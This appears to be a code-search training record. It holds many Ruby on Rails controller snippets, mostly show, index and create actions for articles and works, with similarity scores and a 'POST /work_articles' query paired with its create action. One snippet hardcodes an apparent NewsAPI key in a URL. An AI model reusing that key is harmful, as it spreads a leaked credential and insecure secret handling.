respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @work = Work.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @work.to_json(:include => {\n :teacher => {},\n :student => {},\n :thesis_changes => {},\n :tasks => {:include => :thesis_changes}\n })}\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @article }\n end\n end", "def GetArticles params = {}\n\n params = params.merge(path: 'help_center/articles.json')\n APICall(params)\n\n end", "def index\n @articles = current_user.articles\n json_response(@articles)\n end", "def show\n @work_id = params[:id]\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @work }\n end\n end", "def index\n @title = \"Official CloudFunded Blog\"\n @articles = Article.where(workflow_state: 'published', project_id: nil)\n respond_with(@articles) do |format|\n end\n end", "def show\n @article = Article.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @research = Research.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @research }\n end\n end", "def show\n @work = Work.find(params[:id])\n \n @title = \"#{@work.title.slice(0, 70)}\" + \" ...\"\n \n @last_five_articles = Article.find(:all, :limit => 5, :order => \"created_at DESC\") \n\n render :layout => 'application'\n end", "def show\n @clothing_article = ClothingArticle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clothing_article }\n end\n end", "def show\n @article = Article.published.find_by_id_or_permalink(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def index\n @response = HTTParty.get(\"http://newsapi.org/v2/top-headlines?category=sports&q=golf&apiKey=12e692d8e7254efa8cf6276ea99736b0\")\n @report = JSON.parse(@response.body)\n @article = @report[\"articles\"]\n end", "def show\n @work_entry = WorkEntry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @work_entry }\n end\n end", "def index\n @articles = article_all\n respond_with(@articles)\n end", "def index\n @articles = Article.order('id DESC')\n respond_to do |format|\n format.html\n format.json { render json: @articles }\n end\n end", "def show\n @article_link = @study_set.link.url\n\n respond_to do |format|\n format.html\n format.json { render json: { :part_of_set => json_params_for(@study_set.entries.joins(:study_records).where(\"study_records.due < ?\", Time.now)), \n :extra_answers => @extra_answers } }\n end\n end", "def index\n @workdetails = Workdetail.where(\"task_id = ?\", params[:id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @workdetails }\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @work_has_subject }\n end\n end", "def show\n @article_datum = ArticleDatum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article_datum }\n end\n end", "def show\n @pages_article = PagesArticle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pages_article }\n end\n end", "def show\n @workdetails = Workdetail.where(\"task_id = ?\", params[:id])\n @taskid = params[:id]\n @task = Task.where(:id => @taskid).first\n @storyid = @task.story_id\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @workdetails }\n end\n end", "def show\n @my_posted_homework = MyPostedHomework.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @my_posted_homework }\n end\n end", "def show\n\t\t@work = Work.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.json { render json: @work }\n\t\tend\n\tend", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def index\n @menu = \"articles\"\n @num_articles = num_articles\n @page_number = 1\n begin\n @page_number = params[:page].to_i unless params[:page].blank?\n last_page = (@num_articles / Ufo::MAX_PAGE_ITEMS) + 1\n if @page_number <= 0\n @page_number = 1\n elsif @page_number > last_page\n @page_number = last_page\n end\n rescue\n logger.error \"Page number not valid!\"\n end\n @articles = Rails.cache.fetch(\"articles/index/#{@page_number}\", :expires_in => 1.week) do\n Article.where(:status => 1).without(:article_helper_method, :article_type, :date_filter, :email, :partial_1).desc(:published_date).skip((@page_number-1) * Ufo::MAX_PAGE_ITEMS).limit(Ufo::MAX_PAGE_ITEMS).entries\n end\n @page_title = \"Articles\"\n @page_description = \"Latest Articles\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def call\n articles = JSON.parse(Base64.urlsafe_decode64(@params['articles']))\n Success(articles)\n rescue StandardError\n Failure(Value::Result.new(status: :bad_request, message: 'Article list not found'))\n end", "def show\n @shared_article = SharedArticle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shared_article }\n end\n end", "def index\n @journal = Journal.find(params[:journal_id])\n\n render json: @journal.workouts\n end", "def show\n @story = Story.find(params[:id])\n @epics = Epic.all\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @story }\n end\n end", "def show\n @article = article_get!(params[:id])\n respond_with(@article)\n end", "def article(id, params = {})\n get \"articles/#{id}\", {query: params}\n end", "def show\n begin\n article = Article.joins(:article_text).select(\"text, title\").find(params[:id])\n if article.text.nil?\n render :json => {title: article.title, text: MESSAGE}.to_json\n else\n render :json => article\n end\n rescue\n render :json => {title: \"\", text: MESSAGE}.to_json\n end\n end", "def index\n @tourism_articles = @tourism_articles.published.recent.page(params[:page]).per(10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tourism_articles }\n end\n end", "def show\n @yourstory = Yourstory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @yourstory }\n end\n end", "def show\n respond_to do |format|\n format.html { render }\n format.json { render_json_responsibly(@article) }\n end\n end", "def show\n @text_story = TextStory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @text_story }\n end\n end", "def content_index\n @magissue = Magissue.find(params[:id])\n # Initiate the array of contents' links\n a = []\n\n # Insert the link to the cover first\n a << {\"url\" => cover_magissue_url, \"title\" => \"Cover\", \"hidden\" => true}\n\n\n # Insert the link to the toc\n a << {\"url\" => toc_magissue_url, \"title\" => \"TOC\", \"hidden\" => true}\n\n # Insert the links to all the magissues's articles\n @magissue.articles.each do |article|\n entry = {\"url\" => read_article_url(article), \"title\" => article.headline, \"byline\" => article.author,\n \"thumb\" => (article.assets.exists? ? article.assets[0].dynamic_asset_url(\"40x40>\") : \"\")}\n a << entry\n end\n\n # Create the \"contents\" object and and associate the links array to it.\n b = {\"contents\" => a}\n\n # Render the response as JSON\n respond_to do |format|\n format.json { render :json => b }\n end\n end", "def index # uses paginate\n @articles = Article.paginate page: params[:page], per_page: 10\n #@articles = Article.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def show\n @admin_article = Admin::Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_article }\n end\n end", "def index\n @articles = Article.page(params[:page]).order(:pub_date,:source,:headline)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def index\n # GET /articles\n @articles = Article.all\n end", "def show\n # @article = Article.find(params[:id])\n @board = Board.find(params[:board_id])\n @article = @board.articles.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n @frequent_searches = SearchTopic.where('created_at > ?',Time.now - 7.days).limit(10).to_a\n respond_to do |format|\n if @article.published == false\n format.html { redirect_to articles_path, notice: I18n.t(\"articles.article_not_published\")} \n else\n format.html {render :layout => 'public' } \n format.json { render json: @article.to_json }\n end\n end\n end", "def show\n @work = Work.find(params[:id])\n @edition = @work.edition\n @page = params[:page].blank? ? 1 : params[:page].to_i\n \n if !@work.work_pages.none?\n @work_page = @work.work_pages[@page-1]\n end\n \n respond_to do |format|\n format.html { render :layout => 'work' }\n format.xml { render :xml => @work }\n end\n end", "def index\n @my_posted_homeworks = MyPostedHomework.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @my_posted_homeworks }\n end\n end", "def show\r\n @second_work = SecondWork.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @second_work }\r\n end\r\n end", "def article(id, *args)\n options = args.last.is_a?(Hash) ? args.pop : {}\n response = get(\"articles/#{id}\",options)\n response.article\n end", "def show\r\n @scientific_work = ScientificWork.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @scientific_work }\r\n end\r\n end", "def show\n respond_with @articles, status: get_status\n end", "def articles\n\n end", "def show\n @articles = Article.all\n end", "def new\n 1.times { @work.work_documents.build }\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @work }\n end\n end", "def get_articles\n @articles = ActiveSupport::JSON.decode(access_token.get('/articles.json'))\n end", "def show\n respond_to do |format|\n format.html { }\n format.json { render :json=> {\n title: @article.title,\n labels: @article.labels_content(true),\n content: @article.content\n }\n }\n end\n end", "def show\n @article = Article.find(params[:id])\n respond_with(@article)\n end", "def create\n @work_article = WorkArticle.new(work_article_params)\n\n respond_to do |format|\n if @work_article.save\n format.html { redirect_to @work_article, notice: t('notifications_masc.success.resource.created',\n resource: t('work_articles.form.resource')) }\n format.json { render :show, status: :created, location: @work_article }\n else\n format.html { render :new }\n format.json { render json: @work_article.errors, status: :unprocessable_entity }\n end\n end\n end", "def article(cps_id)\n @client.request(:get, \"articles/#{cps_id}\")[\"article\"]\n end", "def index\n @magazine = Magazine.find(params[:magazine_id])\n @issue = @magazine.issues.find(params[:issue_id])\n @articles = @issue.articles\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @articles }\n end\n end", "def show\n @article = Article.includes(:comments).find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.includes(:comments).find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.includes(:comments).find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @journal = Journal.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json :@journal }\n end\n end", "def index\n @articles = Article.all\n respond_with @articles, status: get_status\n end", "def index\n @art_works = ArtWork.all\n end", "def show\n @articleaddressee = Articleaddressee.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @articleaddressee }\n end\n end", "def index\n @employer_studies = @university.employer_studies.page(params[:page])\n @studies = @employer_studies\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @employer_studies }\n end\n end", "def articles \n render json: @owner, custom_key: true\n end", "def show\n @work_log = WorkLog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @work_log }\n end\n end" ]
[ "0.7132787", "0.69501626", "0.6840519", "0.6797638", "0.6797638", "0.6797638", "0.6797638", "0.6797638", "0.6797638", "0.67430466", "0.6661601", "0.6661601", "0.66515404", "0.6640694", "0.6640694", "0.6621609", "0.6612178", "0.6611792", "0.66049486", "0.6583861", "0.6583861", "0.6583861", "0.6583861", "0.6583861", "0.6583861", "0.6583861", "0.6583861", "0.6583861", "0.6583861", "0.6583861", "0.6583861", "0.6583861", "0.6583861", "0.6568805", "0.65404874", "0.6533968", "0.6520118", "0.65094197", "0.6495736", "0.64836675", "0.6479797", "0.6472452", "0.64611113", "0.64598894", "0.6426572", "0.641576", "0.6415602", "0.64004695", "0.63986665", "0.6391099", "0.63910174", "0.6369718", "0.63670325", "0.63666856", "0.63607717", "0.6360311", "0.6357621", "0.6355013", "0.6349303", "0.6344798", "0.6337106", "0.6329454", "0.6316356", "0.6291688", "0.628894", "0.6286109", "0.6272852", "0.62432456", "0.6235395", "0.623257", "0.6230208", "0.6226053", "0.62250304", "0.6216549", "0.6209357", "0.6200881", "0.6191832", "0.6182384", "0.6176648", "0.61676717", "0.61529475", "0.6151481", "0.61511093", "0.6145686", "0.6144401", "0.61440384", "0.61433405", "0.6139662", "0.61360836", "0.61288637", "0.6125926", "0.61253345", "0.61253345", "0.61253345", "0.6125162", "0.6121224", "0.61194605", "0.6118997", "0.61149675", "0.6106205", "0.610581" ]
0.0
-1
POST /work_articles POST /work_articles.json
def create @work_article = WorkArticle.new(work_article_params) respond_to do |format| if @work_article.save format.html { redirect_to @work_article, notice: t('notifications_masc.success.resource.created', resource: t('work_articles.form.resource')) } format.json { render :show, status: :created, location: @work_article } else format.html { render :new } format.json { render json: @work_article.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def CreateArticle params = {}\n \n APICall(path: 'help_center/articles.json',method: 'POST',payload: params.to_json)\n \n end", "def create\n @article = article_create(params[:article])\n @article.save\n respond_with(@article)\n end", "def new\n 1.times { @work.work_documents.build }\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @work }\n end\n end", "def work_article_params\n params.require(:work_article).permit(:name)\n end", "def create\n @article = Article.new(params[:article])\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, :notice => 'Article was successfully created.' }\n format.json { render :json => @article, :status => :created, :location => @article }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @article.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @creator.works << Work.where(id: work_ids)\n if @creator.save\n render json: @creator, status: :created, location: @creator\n else\n render json: @creator.errors, status: :unprocessable_entity\n end\n end", "def create\n @article = Article.new(article_params)\n respond_to do |format|\n if @article.save\n format.html { redirect_to root_path, notice: 'Article was successfully created.' }\n format.json { render :index, status: :created, location: @article }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html do\n redirect_to @article, notice: 'Article was successfully created.'\n end\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json do\n render json: @article.errors, status: :unprocessable_entity\n end\n end\n end\n end", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: \"Article was successfully created.\" }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @yh_article = YhArticle.new(yh_article_params)\n\n respond_to do |format|\n if @yh_article.save\n format.html { redirect_to @yh_article, notice: 'Yh article was successfully created.' }\n format.json { render :show, status: :created, location: @yh_article }\n else\n format.html { render :new }\n format.json { render json: @yh_article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @yh_article = YhArticle.new(yh_article_params)\n\n respond_to do |format|\n if @yh_article.save\n format.html { redirect_to @yh_article, notice: 'Yh article was successfully created.' }\n format.json { render :show, status: :created, location: @yh_article }\n else\n format.html { render :new }\n format.json { render json: @yh_article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(params[:article])\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render json: @article, status: :created, location: @article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(params[:article])\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render json: @article, status: :created, location: @article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(params[:article])\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render json: @article, status: :created, location: @article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(params[:article])\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render json: @article, status: :created, location: @article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(params[:article])\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render json: @article, status: :created, location: @article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(params[:article])\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render json: @article, status: :created, location: @article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(params[:article])\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render json: @article, status: :created, location: @article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(params[:article])\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render json: @article, status: :created, location: @article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n flash[:success] = 'Article was successfully created.';\n format.html { redirect_to dashboard_articles_url }\n format.json { render :article }\n else\n format.html { render action: 'new' }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @task_article = TaskArticle.new(task_article_params)\n\n respond_to do |format|\n if @task_article.save\n format.html { redirect_to @task_article, notice: 'Task article was successfully created.' }\n format.json { render :show, status: :created, location: @task_article }\n else\n format.html { render :new }\n format.json { render json: @task_article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @work = Work.new(work_params)\n process_work_contributors\n respond_to do |format|\n if @work.save\n format.html { redirect_to @work, notice: 'Work was successfully created.' }\n format.json { render text: \"success\"}\n else\n format.html { render :new }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(params[:article])\n\n\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render json: @article, status: :created, location: @article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(params[:article])\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to articles_public_url, notice: 'Article was successfully created.' }\n format.json { render json: @article, status: :created, location: @article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @art_work = ArtWork.new(art_work_params)\n\n respond_to do |format|\n if @art_work.save\n format.html { redirect_to @art_work, notice: 'Art work was successfully created.' }\n format.json { render :show, status: :created, location: @art_work }\n else\n format.html { render :new }\n format.json { render json: @art_work.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render action: 'show', status: :created, location: @article }\n else\n format.html { render action: 'new' }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render action: 'show', status: :created, location: @article }\n else\n format.html { render action: 'new' }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render action: 'show', status: :created, location: @article }\n else\n format.html { render action: 'new' }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user = User.find_by_authentication_token(params[:auth_token])\n @article = Article.new.from_json(params[:article])\n @article.nb_comments = 0\n @article.publication_date = Time.now\n @article.user_id = @user.id\n respond_to do |format|\n if @article.save\n @article.score = Score.create(:score_pos => 0, :score_neg => 0)\n @article.save\n @author = Author.create(:article_id => @article.id, :user_id => @user.id, :job => \"author\")\n @author.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render json: @article, status: :created, location: @article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Dodano artykuł.' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to action: :index, notice: 'Create Success.' }\n format.json { render action: :index, status: :created }\n else\n format.html { render action: :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(params[:article])\n \n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render json: @article, status: :created, location: @article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\r\n\t\t\t\t# whitelisting certain fields that we want to enter by passing in article_params\r\n\t\t\t\tarticle = Article.new(article_params)\r\n\r\n\t\t\t\t# check similarities\r\n\t\t\t\tif article.save\r\n\t\t\t\t\t# render a response\t\r\n\t\t\t\t\trender json: {status: 'Success', message:'Save artice', data:article}, status: :ok\r\n\t\t\t\telse\r\n\t\t\t\t\t# unsuccessfully\r\n\t\t\t\t\trender json: {status: 'ERROR', message:'Article not saved', \r\n\t\t\t\t\t\tdata:article.errors}, status: :unprocessable_entity\r\n\t\t\t\tend\t\r\n\t\t\tend", "def create\n @work = Work.new(params[:work])\n\n respond_to do |format|\n if @work.save\n format.html { redirect_to @work, notice: 'Work was successfully created.' }\n format.json { render json: @work, status: :created, location: @work }\n else\n format.html { render action: \"new\" }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @work = Work.new(params[:work])\n\n respond_to do |format|\n if @work.save\n format.html { redirect_to @work, notice: 'Work was successfully created.' }\n format.json { render json: @work, status: :created, location: @work }\n else\n format.html { render action: \"new\" }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n if params[:workflow_step_id].present?\n @knowledge_article = KnowledgeArticle.new(knowledge_article_params)\n @workflow_step = WorkflowStep.find(params[:workflow_step_id])\n respond_to do |format|\n if @knowledge_article.save\n WorkflowStepKnowledgeArticle.create!(workflow_step_id: @workflow_step.id, knowledge_article_id: @knowledge_article.id)\n format.html { redirect_to @knowledge_article, notice: 'Knowledge article was successfully created.' }\n format.json { render :show, status: :created, location: @knowledge_article }\n else\n format.html { render :new }\n format.json { render json: @knowledge_article.errors, status: :unprocessable_entity }\n end\n end\n else\n render json: {success: false, message: 'Missing parameter: workflow_step_id.'}\n end\n end", "def articles\n @articles = Article.all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @administration }\n end\n end", "def create\n @backend_article = Backend::Article.new(article_params)\n\n respond_to do |format|\n if @backend_article.save\n format.html { redirect_to @backend_article, notice: 'Article was successfully created.' }\n format.json { render action: 'show', status: :created, location: @backend_article }\n else\n format.html { render action: 'new' }\n format.json { render json: @backend_article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @work = Work.new(work_params)\n\n respond_to do |format|\n if @work.save\n format.html { redirect_to @work, notice: 'Work was successfully created.' }\n format.json { render :show, status: :created, location: @work }\n else\n format.html { render :new }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @work = Work.new(work_params)\n\n respond_to do |format|\n if @work.save\n format.html { redirect_to @work, notice: 'Work was successfully created.' }\n format.json { render :show, status: :created, location: @work }\n else\n format.html { render :new }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @work = Work.new(params[:work].except(:extra_keys, :extra_values))\n @work.extra = process_extra if params[:extra_keys]\n \n current_dataset.works << @work\n \n Work.create_locations(@work) if @work.places\n\n respond_to do |format|\n if @work.save\n format.html { redirect_to @work, notice: 'Work was successfully created.' }\n format.json { render json: @work, status: :created, location: @work }\n else\n format.html { render action: \"new\" }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html do\n redirect_to @article,\n notice: t('shared.msgs.success_created',\n obj: t('activerecord.models.article', count: 1))\n end\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json do\n render json: @article.errors, status: :unprocessable_entity\n end\n end\n end\n end", "def create\n @article = Article.new(article_params)\n respond_to do |format|\n if @article.save\n setup_images()\n format.html { redirect_to @article, notice: '記事を作成しました。' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @myarticle = Myarticle.new(myarticle_params)\n\n respond_to do |format|\n if @myarticle.save\n format.html { redirect_to @myarticle, notice: 'Myarticle was successfully created.' }\n format.json { render :show, status: :created, location: @myarticle }\n else\n format.html { render :new }\n format.json { render json: @myarticle.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Articulo creado exitosamente' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n respond_to do |format|\n if @article.save\n # Format HTML representa o padrão de projeto Template, que redefine partes do algoritmo\n # sem mudar a estrutura do codigo.\n format.html { redirect_to @article, notice: 'Artigo criado com sucesso.' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\t @article = Article.new(article_params)\n\n\t respond_to do |format|\n\t if @article.save\n\t format.html { redirect_to @article, notice: 'article was successfully created.' }\n\t format.json { render :show, status: :created, location: @article }\n\t else\n\t format.html { render :new }\n\t format.json { render json: @article.errors, status: :unprocessable_entity }\n\t end\n\t end\n\tend", "def create\n @article = Article.internal.new(params[:article])\n @article.user = current_user\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to admin_articles_path, :notice => t('articles.article_successfully_created') }\n format.json { render :json => @article, :status => :created, :location => @articles }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @article.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if 